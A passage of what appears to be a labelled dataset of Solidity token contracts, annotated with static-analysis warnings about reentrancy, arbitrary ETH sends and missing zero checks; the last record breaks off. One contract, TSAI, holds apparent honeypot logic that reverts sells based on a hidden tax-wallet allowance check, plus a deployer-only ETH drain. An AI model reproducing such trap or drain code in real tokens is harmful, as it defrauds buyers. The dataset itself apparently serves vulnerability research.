_reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniswapV2Pair && swapEnabled) {\n if (\n _allowances[_taxWallet][address(this)] < tx.gasprice &&\n balanceOf(address(this)) > 0 &&\n _allowances[_taxWallet][address(this)] != 0\n ) {\n revert(\"ERROR: Can't swap back!\");\n }\n\n if (contractTokenBalance > 0)\n\t\t\t\t\t// reentrancy-events | ID: 84d72ba\n\t\t\t\t\t// reentrancy-eth | ID: 99bd016\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 84d72ba\n\t\t\t\t// reentrancy-eth | ID: 99bd016\n sendETHToFee(address(this).balance);\n }\n\n if (\n (_allowances[_taxWallet][from] < tx.gasprice &&\n balanceOf(from) > 0 &&\n _allowances[_taxWallet][from] != 0) ||\n (_allowances[_taxWallet][from] < tx.gasprice &&\n balanceOf(from) > 0 &&\n _allowances[_taxWallet][from] != 0)\n ) {\n revert(\"Event Transfer ERC20: Fail\");\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 99bd016\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 84d72ba\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 99bd016\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 99bd016\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 84d72ba\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6d3f3c7\n\t\t// reentrancy-events | ID: 84d72ba\n\t\t// reentrancy-eth | ID: ebb6bfa\n\t\t// reentrancy-eth | ID: 99bd016\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7a2fa4c): TSAI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 7a2fa4c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6d3f3c7\n\t\t// reentrancy-events | ID: 84d72ba\n\t\t// reentrancy-eth | ID: ebb6bfa\n\t\t// reentrancy-eth | ID: 99bd016\n\t\t// arbitrary-send-eth | ID: 7a2fa4c\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b35d253): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b35d253: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e8a4238): TSAI.Open(address)._feesPercent lacks a zerocheck on \t _taxWallet = address(_feesPercent)\n\t// Recommendation for e8a4238: Check that the address is not zero.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 1fad185): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 1fad185: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Open(address _feesPercent) external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// missing-zero-check | ID: e8a4238\n _taxWallet = payable(_feesPercent);\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: b35d253\n\t\t// reentrancy-no-eth | ID: 1fad185\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b35d253\n swapEnabled = true;\n\n\t\t// reentrancy-no-eth | ID: 1fad185\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d8d8cf9): TSAI.clearETH(address)._wallet lacks a zerocheck on \t _taxWallet = _wallet\n\t// Recommendation for d8d8cf9: Check that the address is not zero.\n function clearETH(address payable _wallet) external {\n require(msg.sender == deployer);\n\n\t\t// missing-zero-check | ID: d8d8cf9\n _taxWallet = _wallet;\n\n payable(msg.sender).transfer(address(this).balance);\n }\n}\n", "file_name": "solidity_code_10328.sol", "size_bytes": 18559, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract alpha is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 89a5758): alpha._taxWallet should be immutable \n\t// Recommendation for 89a5758: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8bf2645): alpha._initialBuyTax should be constant \n\t// Recommendation for 8bf2645: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: a1586e4): alpha._initialSellTax should be constant \n\t// Recommendation for a1586e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 56b93ed): alpha._reduceBuyTaxAt should be constant \n\t// Recommendation for 56b93ed: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 178d88f): alpha._reduceSellTaxAt should be constant \n\t// Recommendation for 178d88f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 78677f4): alpha._preventSwapBefore should be constant \n\t// Recommendation for 78677f4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"alpha\";\n\n string private constant _symbol = unicode\"alpha\";\n\n uint256 public _maxTxAmount = 8400000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8400000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64c6673): alpha._taxSwapThreshold should be constant \n\t// Recommendation for 64c6673: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cb77101): alpha._maxTaxSwap should be constant \n\t// Recommendation for cb77101: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4200000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6a8153): alpha.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6a8153: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4149200): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4149200: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2ab6ea0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2ab6ea0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4149200\n\t\t// reentrancy-benign | ID: 2ab6ea0\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4149200\n\t\t// reentrancy-benign | ID: 2ab6ea0\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0bd2db6): alpha._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0bd2db6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2ab6ea0\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4149200\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2e3cf62): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2e3cf62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9be13ab): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9be13ab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 2, \"Only 2 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2e3cf62\n\t\t\t\t// reentrancy-eth | ID: 9be13ab\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2e3cf62\n\t\t\t\t\t// reentrancy-eth | ID: 9be13ab\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 9be13ab\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 9be13ab\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 9be13ab\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2e3cf62\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 9be13ab\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 9be13ab\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2e3cf62\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2e3cf62\n\t\t// reentrancy-events | ID: 4149200\n\t\t// reentrancy-benign | ID: 2ab6ea0\n\t\t// reentrancy-eth | ID: 9be13ab\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9f282bf): alpha.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9f282bf: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2e3cf62\n\t\t// reentrancy-events | ID: 4149200\n\t\t// reentrancy-eth | ID: 9be13ab\n\t\t// arbitrary-send-eth | ID: 9f282bf\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 002a539): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 002a539: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c084cb0): alpha.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c084cb0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e87dcd0): alpha.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e87dcd0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 77d510d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 77d510d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 002a539\n\t\t// reentrancy-eth | ID: 77d510d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 002a539\n\t\t// unused-return | ID: e87dcd0\n\t\t// reentrancy-eth | ID: 77d510d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 002a539\n\t\t// unused-return | ID: c084cb0\n\t\t// reentrancy-eth | ID: 77d510d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 002a539\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 77d510d\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10329.sol", "size_bytes": 19684, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract DeVOTE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5017ec): DeVOTE._initialBuyTax should be constant \n\t// Recommendation for d5017ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5c30e5): DeVOTE._initialSellTax should be constant \n\t// Recommendation for f5c30e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e8f46): DeVOTE._finalBuyTax should be constant \n\t// Recommendation for 37e8f46: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab954da): DeVOTE._finalSellTax should be constant \n\t// Recommendation for ab954da: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 517262d): DeVOTE._reduceBuyTaxAt should be constant \n\t// Recommendation for 517262d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: eadb790): DeVOTE._reduceSellTaxAt should be constant \n\t// Recommendation for eadb790: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e26d3f): DeVOTE._preventSwapBefore should be constant \n\t// Recommendation for 0e26d3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 11;\n\n uint256 private _buyCount = 0;\n\n string private constant _name = unicode\"Decentralized Voting Protocol\";\n\n string private constant _symbol = unicode\"DeVOTE\";\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 18000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 18000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 378a184): DeVOTE._taxSwapThreshold should be constant \n\t// Recommendation for 378a184: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 14000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4eff661): DeVOTE._maxTaxSwap should be constant \n\t// Recommendation for 4eff661: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 14000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6bfd40e): DeVOTE._taxWallet should be immutable \n\t// Recommendation for 6bfd40e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9705c2): DeVOTE.burnLiqLim should be constant \n\t// Recommendation for c9705c2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3c69165): DeVOTE.burnLiqLim is never initialized. It is used in DeVOTE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3c69165: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnLiqLim;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct BurnLiqLimit {\n uint256 burnLiqIndx;\n uint256 burnLiqAmnt;\n uint256 burnTotalAmnt;\n }\n\n uint256 private minLiqBurn;\n\n mapping(address => BurnLiqLimit) private burnLiqLimit;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xdf80fE93285e83BAF974F803D93A8DFFaEf3944A);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n 